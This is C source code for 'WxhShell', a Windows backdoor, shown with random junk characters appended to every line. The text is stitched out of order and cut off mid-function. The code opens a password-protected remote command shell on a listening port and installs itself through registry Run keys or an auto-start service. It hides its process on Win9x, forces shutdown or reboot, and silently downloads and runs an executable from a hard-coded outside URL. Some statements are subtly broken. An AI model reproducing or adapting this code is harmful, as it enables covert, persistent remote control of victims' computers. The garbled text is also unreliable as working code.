  // 关机 lLFBop  
  case 'd': { {UC<I.5X  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /(pD^D  
    if(Boot(SHUTDOWN)) {s'_zS z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tBI+uu aa2  
    else { (?3 \.tQ}}  
    closesocket(wsh); ! E#.WX  
    ExitThread(0); =RE_Urt:  
    } Ollv _o3  
    break; '{k Nbx51  
    } V42*4hskL  
  // 获取shell 4m(>"dHP  
  case 's': { -R \ @W q@  
    CmdShell(wsh); k3.p@8@:  
    closesocket(wsh); T9<nD"=:  
    ExitThread(0); Zy3&Zt  
    break; YYr&r.6  
  } Q|z06_3i  
  // 退出 E0A|+P '?  
  case 'x': { SFgIY]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); bYB}A :  
    CloseIt(wsh); &j@J<*k  
    break; 5Zm_^IS  
    } ~teW1lMu(  
  // 离开 EA E\Xv  
  case 'q': { TaO;r=2  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;fME4Sp  
    closesocket(wsh); GE+csnA2  
    WSACleanup(); WB [G!'  
    exit(1); YaT+BRh?  
    break; 'wnY>hN  
        } "?&bh@P&  
  } 29657k8  
  } #TwE??ms  
]3u'Qv}o  
  // 提示信息 ,(W98}nB  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); CuO*>g^K[  
} UKQ&TV}0  
  } 2.2a2.I1  
3C[4!>|  
  return;  n(xlad  
} _rVX_   
{^MAdC_  
// shell模块句柄 xKzFrP;/{  
int CmdShell(SOCKET sock) (NN14  
{ GZVl384@  
STARTUPINFO si; RAQ;O  
ZeroMemory(&si,sizeof(si)); '#::ba[9w  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; J}KktD@!O  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8"UG&wLT  
PROCESS_INFORMATION ProcessInfo; R:^?6f<Z}  
char cmdline[]="cmd"; +p<R'/  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =>%%]0  
  return 0; B^Mtj5Oc  
} -gGK(PIf  
!TZ/PqcE  
// 自身启动模式 )stWr r&  
int StartFromService(void) lfeWtzOf  
{ 4EbiCSo  
typedef struct ^Es)?>eah  
{ <OfzE5  
  DWORD ExitStatus; )nxIxr0d-  
  DWORD PebBaseAddress; kzpbs?<;  
  DWORD AffinityMask; ts!aKx  
  DWORD BasePriority; w=o m7%J@l  
  ULONG UniqueProcessId; -\C6j  
  ULONG InheritedFromUniqueProcessId; [IA==B7  
}   PROCESS_BASIC_INFORMATION; :FpBz~!a  
6WcbJ_"mq  
PROCNTQSIP NtQueryInformationProcess; Qs X59d  
;-^9j)31+F  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >F_Ne)}qTQ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %GiO1:t  
ua-|4@YO  
  HANDLE             hProcess; yOzKux8kB  
  PROCESS_BASIC_INFORMATION pbi; Ao0PFY  
E9-'!I!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); x#mk[SV  
  if(NULL == hInst ) return 0; IjAity.Xrq  
zN JyF;3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ulo7d1OVkJ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =PM#eu  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); v 8a  
y'/9KrV T  
  if (!NtQueryInformationProcess) return 0; CoXL;\  
L%Q *\d  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 08jQq#  
  if(!hProcess) return 0; 1A.\Ao  
l #z`4<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =@XR$Uud6  
5D*V%v  
  CloseHandle(hProcess); EQO7:vb  
S`@*zQ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); y36aoKH  
if(hProcess==NULL) return 0; \>7-<7+I6  
q0Pu6"^  
HMODULE hMod; (OJ9@_fgG[  
char procName[255]; V@-GQP1  
unsigned long cbNeeded; ~J:lC u  
K L~sEli  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); P~Owvs/=  
kcUt!PL  
  CloseHandle(hProcess); Te#[+B?  
qrYeh`Mv  
if(strstr(procName,"services")) return 1; // 以服务启动 `2  
>[=`{B  
  return 0; // 注册表启动 *.l=> #qF  
} ka%pS  
I!'(>VlP7  
// 主模块 tRCd(Z,WY  
int StartWxhshell(LPSTR lpCmdLine) 3l[hkRFu`  
{ IxR:a(  
  SOCKET wsl; x%&V!L  
BOOL val=TRUE; GefgOlg5"  
  int port=0; vdzC2T  
  struct sockaddr_in door; - [j0B|cwG  
{v(|_j&:o  
  if(wscfg.ws_autoins) Install(); kICYPy  
S3cQC`^  
port=atoi(lpCmdLine); y&]D2"I  
{qyo#  
if(port<=0) port=wscfg.ws_port; QLl44*@  
Fj4:_(%nG  
  WSADATA data; 1+iiiVbMH  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; b1!%xdy_T  
R!CUR~F  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   v*v&f!Ym&s  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); UU`qI}Ys8F  
  door.sin_family = AF_INET; ]F! h~>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); A???s,F_  
  door.sin_port = htons(port); Ta$<#wb  
 I9 m  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { q1Mk_(4oJ  
closesocket(wsl); 30"G%DFd  
return 1; + P.Ir  
} ;ecF~-oku  
uESHTX/[  
  if(listen(wsl,2) == INVALID_SOCKET) { n1h+`nsf  
closesocket(wsl); rD?o97  
return 1; -tZb\4kh  
} K)ib{V(50  
  Wxhshell(wsl); k2;yl _7  
  WSACleanup(); '"a8<7  
 tvILLR  
return 0; a8TE  
eO#)QoHj^  
} `mVH94{+I  
[$X(i|6  
// 以NT服务方式启动 NunT2JP.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) u c8>B&B%  
{ HtlXbzN%)  
DWORD   status = 0; lom4z\6  
  DWORD   specificError = 0xfffffff; akoILX~u  
%l,EA#89 s  
  serviceStatus.dwServiceType     = SERVICE_WIN32; isqW?$s  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; d1N&J`R\1  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; j!pxG5%  
  serviceStatus.dwWin32ExitCode     = 0; @P/{x@J  
  serviceStatus.dwServiceSpecificExitCode = 0; o? =u#=  
  serviceStatus.dwCheckPoint       = 0; on|>"F`pb  
  serviceStatus.dwWaitHint       = 0; de[_T%A  
#=rI[KI  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $ a7^3  
  if (hServiceStatusHandle==0) return; FS[CUoA  
kJ >B)  
status = GetLastError(); Y&?]t  
  if (status!=NO_ERROR) xi0&"?7la  
{ z`CI gSR  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; zi'?FM[f)  
    serviceStatus.dwCheckPoint       = 0; xhv)rhu@  
    serviceStatus.dwWaitHint       = 0; ~mU#u\r(*  
    serviceStatus.dwWin32ExitCode     = status; =n!8>8d  
    serviceStatus.dwServiceSpecificExitCode = specificError; }Na*jr0y9{  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); qSR %#  
    return; HU'}c*d]  
  } O;r8l+  
#0tM88Wi  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; F7d f  
  serviceStatus.dwCheckPoint       = 0; 0@KBQv"v  
  serviceStatus.dwWaitHint       = 0; aqlYB7  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); k<y$[xV  
} ?*g]27f11  
2C>PxA6l  
// 处理NT服务事件,比如:启动、停止 $xqphhBg  
VOID WINAPI NTServiceHandler(DWORD fdwControl) P`0aU3pl  
{ Z(FAQ\7  
switch(fdwControl) >r3Wo%F'  
{ 3ul  
case SERVICE_CONTROL_STOP: {^v50d  
  serviceStatus.dwWin32ExitCode = 0; ^H>vJT  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {k>m5L  
  serviceStatus.dwCheckPoint   = 0; ;J<kG@  
  serviceStatus.dwWaitHint     = 0; : &]%E/  
  { Vs(;al'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yl*S|= 8;k  
  } U i;o/Z3  
  return; 6Dch+*4*@  
case SERVICE_CONTROL_PAUSE: t}K?.To$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; =+u$ZZ0+]o  
  break; l#%w,gX  
case SERVICE_CONTROL_CONTINUE: na~ r}7 7o  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; w% M0Mu  
  break; DF#Ob( 1  
case SERVICE_CONTROL_INTERROGATE: 8Og9P1jVh  
  break; vwg\qKqSM  
}; }9'rTLM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Jyn>:Yq(  
} nHhg#wR  
kZ2+=/DYN  
// 标准应用程序主函数 eL],\\q  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) uE>}>6)b  
{ xH0Bk<`V:  
M@.1P<:h  
// 获取操作系统版本 5D'8 l@7  
OsIsNt=GetOsVer(); N$. ''D?7D  
GetModuleFileName(NULL,ExeFile,MAX_PATH); edch'H^2+P  
=|6IyL_N  
  // 从命令行安装 2'++G[z  
  if(strpbrk(lpCmdLine,"iI")) Install(); -y~JNDS1]  
xv /w %  
  // 下载执行文件 TJCoID7a8  
if(wscfg.ws_downexe) { -7lJ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) dJ$}]   
  WinExec(wscfg.ws_filenam,SW_HIDE); }/6jom9U?  
} ~-,<`VY  
- Q,lUP  
if(!OsIsNt) { 5dhRuc  
// 如果时win9x,隐藏进程并且设置为注册表启动 L3&NGcd  
HideProc(); r"xo9&|  
StartWxhshell(lpCmdLine); R|_?yV[  
} -.xs=NwB.|  
else {8E hC/=  
  if(StartFromService()) t &*$@0A  
  // 以服务方式启动   ]3%Z  
  StartServiceCtrlDispatcher(DispatchTable); =U?"#   
else K,J:i^2  
  // 普通方式启动 E*[X\70  
  StartWxhshell(lpCmdLine); B1Xn <Wv  
C! :\H<gI  
return 0; >2_J(vm>  
} RS$e^_W  
KktQA*G  
H4)){\  
sb;81?|  
=========================================== f9!wO';P6  
~6R| a  
m]V5}-?al  
!Y5O3^I=u  
m'Wz0b^BO  
I'C{=?  
" ybfNG@N*  
&B[$l`1  
#include <stdio.h> 2mI=V.X[&  
#include <string.h> 9c<lFZb;  
#include <windows.h> z"R-Sme  
#include <winsock2.h> 8K{ TRPy  
#include <winsvc.h> 5pz%DhjLo  
#include <urlmon.h> 4e9mN~  
D\>CEBt  
#pragma comment (lib, "Ws2_32.lib") S&9{kt|BI  
#pragma comment (lib, "urlmon.lib") i_V~SC`  
^;N +"oq!y  
#define MAX_USER   100 // 最大客户端连接数 e1K,4 Bq  
#define BUF_SOCK   200 // sock buffer 8J Gt|,  
#define KEY_BUFF   255 // 输入 buffer .0nL; o  
R}BHRmSQ  
#define REBOOT     0   // 重启 'AHI;Z~Gk  
#define SHUTDOWN   1   // 关机 p9Ks=\yvL  
7` &K=( .  
#define DEF_PORT   5000 // 监听端口 m"NZ;*d'  
|nB2X;K5~  
#define REG_LEN     16   // 注册表键长度 nKch _Jb  
#define SVC_LEN     80   // NT服务名长度 J v'$6[?  
_"=Yj3?G%  
// 从dll定义API x?T/=C  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1)vdM(y3j  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); wS#.W zp.w  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *s<FEF  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !|hv49!H  
N^B YNqr  
// wxhshell配置信息 n a_Y<R`  
struct WSCFG { }h>QkV,{2  
  int ws_port;         // 监听端口 pGh2 4E  
  char ws_passstr[REG_LEN]; // 口令 8I3"68c_a  
  int ws_autoins;       // 安装标记, 1=yes 0=no jCxw|tmgq  
  char ws_regname[REG_LEN]; // 注册表键名 q@H?ohIH  
  char ws_svcname[REG_LEN]; // 服务名 3S ,D~L^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 d0eMDIm3R\  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 | x/,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $Ic: c  
int ws_downexe;       // 下载执行标记, 1=yes 0=no L+bU~N,+A  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" u-=%gx"Di  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >#<o7]  
fHdPav f,S  
}; # KK>D?.:  
8" XbW7^o  
// default Wxhshell configuration _m#M^<0n  
struct WSCFG wscfg={DEF_PORT, Yu`b[]W  
    "xuhuanlingzhe", ng^`s}?o  
    1, Z[s{   
    "Wxhshell", G ,An8GR%&  
    "Wxhshell", ~bhesWk8!  
            "WxhShell Service", q3#07o_dV  
    "Wrsky Windows CmdShell Service", kK>PFk(  
    "Please Input Your Password: ", P'xq+Q  
  1, v=$v*W  
  "http://www.wrsky.com/wxhshell.exe", ]z;%%'gW6  
  "Wxhshell.exe" p=V (_  
    }; ggIz) </  
uAwT)km {  
// 消息定义模块 eJIBkFW/3y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +h.$ <=  
char *msg_ws_prompt="\n\r? for help\n\r#>"; |]w0ytL>(2  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {=VauF  
char *msg_ws_ext="\n\rExit."; $_%yr ~2  
char *msg_ws_end="\n\rQuit."; M S)(\&N  
char *msg_ws_boot="\n\rReboot..."; *2Il{KO A^  
char *msg_ws_poff="\n\rShutdown..."; 1$]4g/":o  
char *msg_ws_down="\n\rSave to "; Ol"*(ea-TX  
@.6l^"L  
char *msg_ws_err="\n\rErr!"; t ]7>' U  
char *msg_ws_ok="\n\rOK!"; sFqZ@t}~  
`9SuDuw;s  
char ExeFile[MAX_PATH]; tT>~;l%'  
int nUser = 0; 8&\<p7}=h  
HANDLE handles[MAX_USER]; 7;ZSeQ yC  
int OsIsNt; +pURF&Pr  
^(r?k_i/  
SERVICE_STATUS       serviceStatus; L&H 4fy!>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; |f# ~#Y2v  
RBd{1on  
// 函数声明 6lpfk&  
int Install(void); ;9MsV.n  
int Uninstall(void); Ew~piuj  
int DownloadFile(char *sURL, SOCKET wsh); ,Y6Me+5B  
int Boot(int flag); sg RY`U.C  
void HideProc(void); ZnVi.s ~1V  
int GetOsVer(void); I4.^I/c(  
int Wxhshell(SOCKET wsl); x'tYf^Va28  
void TalkWithClient(void *cs); n$i}r\ so  
int CmdShell(SOCKET sock); bX23F?  
int StartFromService(void); ?aR)dQ  
int StartWxhshell(LPSTR lpCmdLine); t:X\`.W  
) ,1MR=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3R>U^ Y  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }D-h=,];  
~_OtbNj#  
// 数据结构和表定义 `VM@-;@w  
SERVICE_TABLE_ENTRY DispatchTable[] = !)FM/Xj,o  
{ q{?Po;\D  
{wscfg.ws_svcname, NTServiceMain}, YtI 2Vr/9  
{NULL, NULL} 7vax[,a I  
}; `uo'w:Q  
of!Bz  
// 自我安装 SO^:6GuJ  
int Install(void) xj~5/)XX|X  
{ N,6(|,m  
  char svExeFile[MAX_PATH]; $\h\, N$y  
  HKEY key; g&I/b/A  
  strcpy(svExeFile,ExeFile); [x Xa3W  
zBg>I=hiG  
// 如果是win9x系统,修改注册表设为自启动 &>y[5#qOl  
if(!OsIsNt) { U`Bw2Vdk]S  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { rw/WD(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); })f4`$qf  
  RegCloseKey(key); L8sHG$[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :\[W]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5RD\XgyN]  
  RegCloseKey(key); $Kw)BnV  
  return 0; 6fV%[.RR  
    } 9un* 1%  
  } kW=g:m  
} Yz4)Q1  
else { MM8@0t'E  
O CIWQ/ P  
// 如果是NT以上系统,安装为系统服务 Vf<VKP[9K  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0EiURVX  
if (schSCManager!=0) oU[Ba8qh  
{ #-?C{$2I  
  SC_HANDLE schService = CreateService 0]%0wbY1  
  ( X=$WsfN.h  
  schSCManager, UZ#Yd|'PD  
  wscfg.ws_svcname, 0*0]R C5?  
  wscfg.ws_svcdisp, p(dJf&D  
  SERVICE_ALL_ACCESS, *;b.x"  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , z9OhY]PPF  
  SERVICE_AUTO_START, /3`#ldb%}  
  SERVICE_ERROR_NORMAL, FrXFm+8 F  
  svExeFile, ;T6{J[ h  
  NULL, C":i56  
  NULL, wi]ya\(*yl  
  NULL, t:y} 7un  
  NULL, `@?f@p$(B  
  NULL <,/k"Y=  
  ); 9ReH@5_bGM  
  if (schService!=0) Sz4G,c  
  { g_'F(An  
  CloseServiceHandle(schService); r,F~Vwa}  
  CloseServiceHandle(schSCManager); yM}b  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); R(_UR)G0 @  
  strcat(svExeFile,wscfg.ws_svcname); WrWJ!   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ZuF"GNUC  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); g%z'#E 97  
  RegCloseKey(key); Ws2SD6!4`  
  return 0; !}%,rtI  
    } ,9jq @_  
  } `\!oY;jk  
  CloseServiceHandle(schSCManager); R&Mv|R   
} #lDf8G|ST~  
} Z +%Uwj  
\z'A6@  
return 1; /'vCO |?L  
} H{}0- 0o  
f`Km ctI  
// 自我卸载 f44b=,Lry5  
int Uninstall(void) mY[s2t  
{ g+shz{3zvz  
  HKEY key; ACQbw)tiv}  
OT-!n  
if(!OsIsNt) { m=;0NLs4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 29eg.E  
  RegDeleteValue(key,wscfg.ws_regname); Z(g9rz']0  
  RegCloseKey(key); FnkB z5D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2(SK}<X  
  RegDeleteValue(key,wscfg.ws_regname); q:2Vw`g'  
  RegCloseKey(key); 9v[cy`\  
  return 0;  cTpmklq  
  } t\YN\`XD  
} d:KUJ Y.  
} Y4E UW%  
else { Tc{r;:'G<  
UG)J4ZX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); zQY|=4NP  
if (schSCManager!=0) )nJo\HFXv  
{ % H"A%  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0}'  
  if (schService!=0) <?|v-(E  
  { -"*UICd  
  if(DeleteService(schService)!=0) { YbS$D  
  CloseServiceHandle(schService); HzADz%~  
  CloseServiceHandle(schSCManager); \;w$"@9  
  return 0; ^H]q[XFR  
  } F3k]*pk8w  
  CloseServiceHandle(schService); d) V"tSC,  
  } NyHHK8>  
  CloseServiceHandle(schSCManager); L0ZgxG3:g  
} l+# l\q%l  
} 9G)Sjn`AQ  
QiDf,$t|,  
return 1; WSA;p=_  
} a`SQcNBf*  
S 6e<2G=O  
// 从指定url下载文件 -mD<8v[F  
int DownloadFile(char *sURL, SOCKET wsh) ,P G d  
{ HEZgHL  
  HRESULT hr; 'n'83d)z  
char seps[]= "/"; LR:Qb]|"  
char *token; J LOTl.  
char *file; V=#L@ws  
char myURL[MAX_PATH]; Sw##C l#  
char myFILE[MAX_PATH]; '2`MT-  
Y6LoPJ  
strcpy(myURL,sURL); ?~G D^F  
  token=strtok(myURL,seps); X6_m&~}15  
  while(token!=NULL) n,KOQI;  
  { bj6-0`  
    file=token; .}KY*y  
  token=strtok(NULL,seps); 8J60+2Wa  
  } #ma#oWqF}  
8<cD+Jtj  
GetCurrentDirectory(MAX_PATH,myFILE); *e E&ptx1  
strcat(myFILE, "\\"); Obl']Hr{y9  
strcat(myFILE, file); V0'T)  
  send(wsh,myFILE,strlen(myFILE),0); RRYm.dMIw  
send(wsh,"...",3,0); `o7m)T')  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 8<z]rLQw?%  
  if(hr==S_OK) :\ %.x3T'  
return 0; 6U{&`8C  
else IfyyA  
return 1; 4[@`j{  
j 8lWra\y  
} -b1VY4m-  
o_un=ygU  
// 系统电源模块 ,`<w#  
int Boot(int flag) lWYZAF>?Ym  
{ ]<3$Sx_{y  
  HANDLE hToken; qEd!g,Sx  
  TOKEN_PRIVILEGES tkp; AEjkqG4qv  
ts2;?`~  
  if(OsIsNt) { Z4eu'.r-y~  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [/.5{|&GSt  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); iUcDj:  
    tkp.PrivilegeCount = 1; FScE3~R  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Q4YIKNN|7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); m%8idjnG  
if(flag==REBOOT) { -#yLH  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) UNc!6Q-.  
  return 0; P%Fkd3e+  
} 7nh,j <~;2  
else { 4AI\'M"d  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =F>@z4[P-  
  return 0; &p\fdR4e  
} zbL!q_wO  
  } z"`q-R }m  
  else { zE"ME*ou  
if(flag==REBOOT) { &_Py{Cv@Dw  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) zB6u%uWR  
  return 0; -Fcg}\9  
} <|= UrG  
else { 5l"EQ9  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) d8 1u  
  return 0; UL0%oJ#  
} v?Q|;<   
} "tu BfA+f  
;aA,H&   
return 1; ]fH U/%  
} y=!"++T]B<  
P 19nF[A  
// win9x进程隐藏模块 E|u#W3-:  
void HideProc(void) ~GL"s6C$`;  
{ xA;o3Or  
&V;^xMO!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 8nOMyNpy~M  
  if ( hKernel != NULL ) ,Y~{RgG  
  { np|3 os  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); r3a$n$Qw  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4@6!E^  
    FreeLibrary(hKernel); *%JncK '  
  } 2#z6=M~A  
*2O4*Q1  
return; F.P4c:GD  
} !;'. mMO&%  
r&AX  
// 获取操作系统版本 t7|uZHKK  
int GetOsVer(void) odxsF(Q0p  
{ M{Ss?G4H  
  OSVERSIONINFO winfo; J8|F8dcz  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >*ey 7g  
  GetVersionEx(&winfo); F,0 @z/8a  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >sAZT:&gv  
  return 1; %-? :'F!1  
  else (17%/80-J  
  return 0; ZKKz?reM'  
} G{*m] 0Q  
bH}6N>Fp  
// 客户端句柄模块 MS{purD  
int Wxhshell(SOCKET wsl) FC.d]XA%/d  
{  j{,3!  
  SOCKET wsh; oY@4G)5  
  struct sockaddr_in client; H\A!oB,sw  
  DWORD myID; Q9X7- \n  
bSmF"H0cP  
  while(nUser<MAX_USER) _RG!lmJV  
{ eto3dJ!R  
  int nSize=sizeof(client); 9g3J{pKcZ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); YDBQ6X  
  if(wsh==INVALID_SOCKET) return 1; yYmV^7G  
X+;F5b9z  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); xEBiBsk d  
if(handles[nUser]==0) V$u~}]z  
  closesocket(wsh); @-dM'R6C  
else Q+/:5Z C  
  nUser++; \tFg10  
  } xao'L  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \-k X-Tq  
2kV[A92s  
  return 0; r(`;CY]@  
} (p<QRb:&Z  
'| Enc"U  
// 关闭 socket c)8V^7=Q  
void CloseIt(SOCKET wsh) &0*l=!:G^  
{ 3ThCY`  
closesocket(wsh); 7 }`c:u~j  
nUser--; qJQE|VM&  
ExitThread(0); [Af&K22M(X  
} &wRdUIc  
G1MuH%4  
// 客户端请求句柄 P+pL2BA  
void TalkWithClient(void *cs) mIVnc`3s  
{ X%W_cb2  
O@[c*3]e  
  SOCKET wsh=(SOCKET)cs; |fdr\t#'~  
  char pwd[SVC_LEN]; }^uUw&   
  char cmd[KEY_BUFF]; =ECw'  
char chr[1]; `6V-a_8;[  
int i,j; ")|3ZB7>*  
m7X&"0X  
  while (nUser < MAX_USER) { +}c '4hRv  
4,L(  
if(wscfg.ws_passstr) { IVD1 mk  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?Dro)fH1  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5T,Doxo  
  //ZeroMemory(pwd,KEY_BUFF); gwk$|aT@  
      i=0; ia15r\4j)  
  while(i<SVC_LEN) { }B2H)dG^K  
)@.bkzW  
  // 设置超时 Tyu]14L  
  fd_set FdRead; `j*&F8}  
  struct timeval TimeOut; Ko6 tp9G  
  FD_ZERO(&FdRead); Z qX  U  
  FD_SET(wsh,&FdRead); K 1>.%m  
  TimeOut.tv_sec=8; %]%.{W\j3  
  TimeOut.tv_usec=0; q+XL,E  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); v{Cts3?Br  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }$u]aX<  
.#R\t 7m%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "sF&WuW|  
  pwd=chr[0]; \KfngYD]W  
  if(chr[0]==0xd || chr[0]==0xa) { \3dM A_5  
  pwd=0; KZO!  
  break; Kx9Cx 5B  
  } <mlQn?u  
  i++; ]bO {001y,  
    } bHcb+TR3  
b u%p,u!  
  // 如果是非法用户,关闭 socket QC0^G,9.  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "- xm+7  
} b Jt397  
9 O| "Ws>{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \UFno$;mA  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h.c<A{[I6c  
 r(pp =  
while(1) { 6'W79  
~rE U83  
  ZeroMemory(cmd,KEY_BUFF); xB:,l'\G  
RC Fb&,51  
      // 自动支持客户端 telnet标准   GL&ri!,  
  j=0; f9H;e(D9]  
  while(j<KEY_BUFF) { ]d?`3{h9LD  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8}Rwf?B  
  cmd[j]=chr[0]; fI} Z`*  
  if(chr[0]==0xa || chr[0]==0xd) { %? +A.0]E  
  cmd[j]=0; Z"Z&X0O j  
  break; 6}mbj=E`  
  } " |RP_v2  
  j++; P(G$@},W  
    } r AMnM>`  
jPYed@[+  
  // 下载文件 zR h1  
  if(strstr(cmd,"http://")) { fV*x2g7w  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Gxv@a   
  if(DownloadFile(cmd,wsh)) F.c`0u;=  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); bTZ/$7pp9  
  else #C,M8~Q7  
